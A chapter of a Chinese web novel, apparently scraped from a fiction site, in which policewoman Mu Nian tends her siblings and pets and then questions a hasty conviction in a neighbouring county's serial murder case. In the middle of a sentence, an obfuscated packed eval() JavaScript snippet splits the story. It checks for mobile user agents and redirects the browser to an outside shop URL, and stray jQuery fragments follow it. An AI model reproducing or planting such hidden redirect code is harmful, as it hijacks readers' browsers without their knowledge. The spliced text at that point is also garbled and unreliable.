穆念回到宿舍的时候,大院里静悄悄的。
已是夜深。
穆念借着走廊微弱的灯光,摸到自己宿舍。
她再怎么小心翼翼,开宿舍门时还是发出一声悠长的“吱呀”声。
屋里的灯没开。但黑暗中,两道绿莹莹的光先亮了起来。
是狸花猫。
它窝在沙发上,碧绿的眼睛在暗处格外明亮。
它早就发现了穆念,但等人进来了,才利落地伸了个懒腰,跳下沙发,踱到穆念脚边,尾巴在她小腿上绕了一圈。
穆念蹲下身,她的手冻得有些僵,先搓了好几下,等掌心回了温,才轻轻覆上狸花猫的脑袋。
小三花后知后觉地从猫窝里抬起头,黄色的圆眼睛还蒙着睡意,愣了两秒,才晃着毛茸茸身子凑过来,拿脑袋顶穆念的手心。
两猫一人正打着招呼,小三花忽然鼻尖一耸,凑近穆念的警服口袋,轻轻碰了碰那鼓囊囊的布料。
口袋里,一颗毛茸茸的小脑袋挣扎着冒出来。
小麻雀睡了一整天,羽毛被压得东倒西歪,左翅膀还翘着一小撮。
它懵懵地眨眨小黑豆眼睛,举着一边翅膀,委屈巴巴地冲穆念“啾”了一声。
在口袋里睡了一天,翅膀都压麻了!
穆念小心把它托出来,,指尖轻轻捏着小麻雀那翘起的羽毛,一点点理顺。
“就你最娇气。”她声音压得很低,带着点无奈的笑意。
小麻雀梗着脖子,还想再“啾”一声以示抗议,却听见穆念又说:
“今天辛苦你了,待会儿给点水果奖励。”
那根梗着的脖子立刻软下来。
小麻雀小黑豆眼一亮,小脑袋往穆念拇指上使劲蹭了蹭,蹭出一串心满意足的“啾啾啾”。
穆念弯了弯唇角。
“姐姐?”
卧室门内响起声音。
“是我。”
很快,门被从里面拉开。
穆从心站在门口,她显然是刚被惊醒,眼里还带着睡意。
穆念看着她,心口像被什么轻轻揪了一下。
这两天连着出命案,她早出晚归,和弟弟妹妹几乎没打上照面。
早上走的时候三个孩子还没醒,晚上回来时他们已经睡了。
明明就住在同一屋檐下,却碰不了面。
虽然是在派出所宿舍,但说到底三个小孩年龄还小,姐姐不在,几个小孩都没什么安全感,每天晚上穆从心都要费很大力气哄睡妹妹弟弟。
性子最为敏感也最为负责任的她,估计这两天都没睡好。
一边害怕漆黑的晚上,一边担心姐姐安危,还要操心两个妹妹弟弟。
“抱歉,”穆念站起身,走过去,把大妹揽进怀里,“这两天太忙了。”
她顿了顿,声音放得很轻:“以后晚上不管多晚,我都先回来一趟,陪你们睡着再走。”
至少让小孩知道,姐姐一直都在这里。
穆从心很想懂事说不用,但她涨了张口,还是依恋地抱着穆念的脖子,默默点了点头。
穆念本想催她回去睡觉。但大妹难得这样黏人,她便没再说话,只是搂着她慢慢坐到沙发上。
两只猫分别窝进两人怀里。
“过两天就要上学了,准备好了吗?”
穆从心点点头,声音细细软软:“寒假作业都写完了,怡萱和岱川的我也检查过。新书包、笔盒、橡皮擦、铅笔……漪姐姐都帮我们买了。”
漪姐姐。
袁静漪。
穆念想起年前在集市初见时,那位穿着讲究、举止优雅的夫人。
谁能想到,过完年她不但没离开,反而一副要在永泰镇长住的架势。
林屿年初七就因公务回了港岛,袁静漪却没跟着走。
穆念抬眼看向客厅角落那组沙发。
三个新书包并排搁在那儿,是港岛才有的牌子,面料挺括,拉链上坠着小巧的卡通挂件,绝不是这边能买到的大路货。
穆从心说,袁静漪最近正潜心钻研包书皮的手艺,已经练得差不多了,就等着领新书过去给她露一手。
穆念原本没料到袁静漪会这么喜欢自家三个孩子。
不过她想起袁静漪之前说过,她膝下三个孩子打小就被规矩框得死死的,该吃什么、该穿什么、该学什么,都有规定,都有佣人完成。
她没有机会像一个普通母亲那样,给孩子做一顿饭、包一次书皮、听他们叽叽喳喳讲学校里的琐事。
“她喜欢你们,”穆念说,“就收着吧。”
穆从心抿着嘴唇,好一会儿才小声说:“我本来想拒绝的……漪姐姐送的东西太多了。”
穆念深有体会。
袁静漪那双保养得宜的手,塞起东西来简直是艺,不容拒绝的温柔,春风化雨式的强硬。连她都招架不住,何况一个十一岁的小姑娘。
她笑着捏了捏大妹的脸颊:“这些东西不算贵重,收了就收了。过几天我买点回礼送过去。”
过完年穆念上班比较忙,袁静漪便让几个小孩有空过她家玩,穆从心一些比较难的作业,她也可以辅导辅导。
本来拒绝的穆念,听到后一句,便心动了。
诚然,以她的学习能力,辅导他们的功课完全足够。
但她工作晚上都比较晚回来,和妹妹弟弟的时间经常对不上,而且小孩睡觉都早,等她回来再辅导,那小孩岂不是做作业都要做到很晚。
最后穆念还是答应了袁静漪的请求。
当然,她也不是真的就那么完全放心刚认识没多久的人。
每次三个小的去袁静漪家里,她都让小麻雀小三花的朋友们在外面盯着。
想到这,穆念又叮嘱道:“漪姐姐是真心待你们好。去她家里玩要有礼貌,别调皮。”
穆从心乖乖点头。
她没有说出口的是,她其实很喜欢和袁静漪待在一起。
那种感觉很奇妙。袁静漪看她的眼神,说话的语气,甚至帮她整理衣领时手指的温度,都会让她想起穆玉珠。
穆从心有时候想,妈妈或许一直都想给他们这样的生活。
只是她太累了,撑不到这一天。
穆念这段时间是真的累了。
货车案移交上去之后,她本以为能喘口气。
按惯例,这类命案转到县刑侦大队,镇派出所的活儿就算告一段落。
但没想到,隔壁县出了更大的事。
连续几宗女性失踪案,最后发现是系列奸杀。
案发时间都在深夜,地点全是偏僻路段。
别说抓凶手,连嫌疑人的像样线索都没几条。
仅有的两个目击证人,描述出来的嫌疑人特征完全对不上。
警方压力大,当地老百姓更是人心惶惶。
太阳还没下山,街上就空了。
夜市摊主们守着冷清的炉灶叹气,学校通知家长尽量接送孩子上下学。
何所长连着去县里开了几次会,回来就布置排查任务。
穆念继续被借调到办案队,连着好几天在外跑。
可一周下来,案件毫无进展。
就在所有人都以为这案子要成悬案时,隔壁县突然发来电报:凶手抓到了。
消息传开,当地简直像过节。
报纸连篇累牍地报道,街坊们敲锣打鼓给公安局送锦旗。
胡成磊放下手里的搪瓷杯,啧啧称奇:“听说隔壁县都普天同庆了,夜市摊主放鞭炮庆祝!”
旁边的年轻民警接话:“可不是,连咱们镇的大爷大妈都在聊这事儿。”
“他们到底怎么抓到人的?”另一个民警好奇,“不是说线索模糊得很?”
胡成磊正要接腔,余光瞥见门口进来的人,立刻扬起笑脸:
“哎,你忙完啦?”
穆念摘下警帽,露出那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775445|207571||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
张略显疲惫的脸。
她把帽子搁在桌上,没什么形象地往椅背上一靠。
“嗯,”她说,“听说是准备结了。”
胡成磊仔细看了她一眼。
这姑娘入职快一年了,他还是头一回见她这副模样。
不是累,是有些……提不起劲。
“怎么了?”他收起玩笑的语气,“案子破了不是好事?”
穆念把双手枕在椅背上,下巴抵着手腕,半晌才说:
“我也说不清。就是觉得……这次破得太快了。”
胡成磊愣了一下。
他本想说什么“快还不好”,但话到嘴边,又咽了回去。
他索性从椅子上站起来,往桌沿一坐,摸着下巴想了想:“你这么一说,好像是有点突然。前两天何所还愁眉苦脸的,昨儿个突然就宣布破案了……”
穆念在第一世的时候,看到过不少新闻,在相似的年代,冤假错案十分多。
大部分是当初证据线索不足,部分警察为了尽快安抚情绪,或者为了立功绩,会选择随便抓一个和案件有关联的人来定罪。
这个关联,可以是时间,可以是关系,或者其他什么东西。
而那个年代,依法执法可没那么严格。
很多人会被屈打成招,迷迷糊糊认下不该认的罪。
胡成磊:“这个认罪了,会是什么处罚?”
“死刑,枪毙。”
两人正说着,门口传来脚步声。
何善仁从外面进来,他脸上那道惯常的从容不见了,眉头拧着,像压着什么沉甸甸的东西。
跟在他身后的陈伟军,脸色更差。
这位办案队队长向来喜怒不形于色,穆念还是头一回见他这副模样。
办公室里的人面面相觑,没人敢出声。
穆念站了起来。
“何所,”她声音平稳,“是隔壁县那个案子吗?”
何善仁没说话,用拇指和食指捏着鼻梁,半晌没动。
陈伟军却没忍住。
他在办公室里来回踱步,脚步又重又急。
“他们怎么敢!就凭一个模糊的时间,就把人抓了!”
“证人描述的那些特征,有几个是对得上的?一米七到一米八五,圆脸到方脸,本地口音到外地口音,这叫特征统一?”
他猛地顿住脚,手掌往桌沿重重一拍。
“那个年轻人,每天晚上下班都要走那条路回家,就因为路过的时间‘对上了’,身高和其中一个证人的描述‘差不多’,就给摁头认罪!”
“作案动机呢?没有!作案能力呢?他是个搬运工,一个月就挣那么一点儿,连去隔壁的车票都买不起!今天在这个镇,明天在那个镇,他拿什么飞过去犯案!”
陈伟军的声音渐渐拔高,说到最后,几乎是吼出来的。
办公室里鸦雀无声。
何善仁拍了拍陈伟军的胳膊:“老陈,别激动。”
陈伟军深吸一口气,没有再接话。
何善仁长长地叹了口气。
他知道陈伟军在气什么。
这是隔壁县的案子,不归他们管,也轮不到他们说话。
案子破了,上面满意,老百姓高兴,皆大欢喜。
他们永泰镇自己手上还压着两宗没破的命案,哪有余力去管别人的闲事。
可是……
可是如果那个年轻人真的是被冤枉的,那就是一条活生生的命。
他们明知道这定罪站不住脚,却要眼睁睁看着这个年轻人被押上刑场,枪毙。
他们这身警服,还穿得住吗?
“何所。”一个声音响起。
何善仁抬起头。
穆念站在他面前。
她刚摘下警帽,一头黑发有些散乱,她的脸还带着连日出外勤留下的疲惫。
但她的眼睛很亮。
“我们报给县里吧。”她说。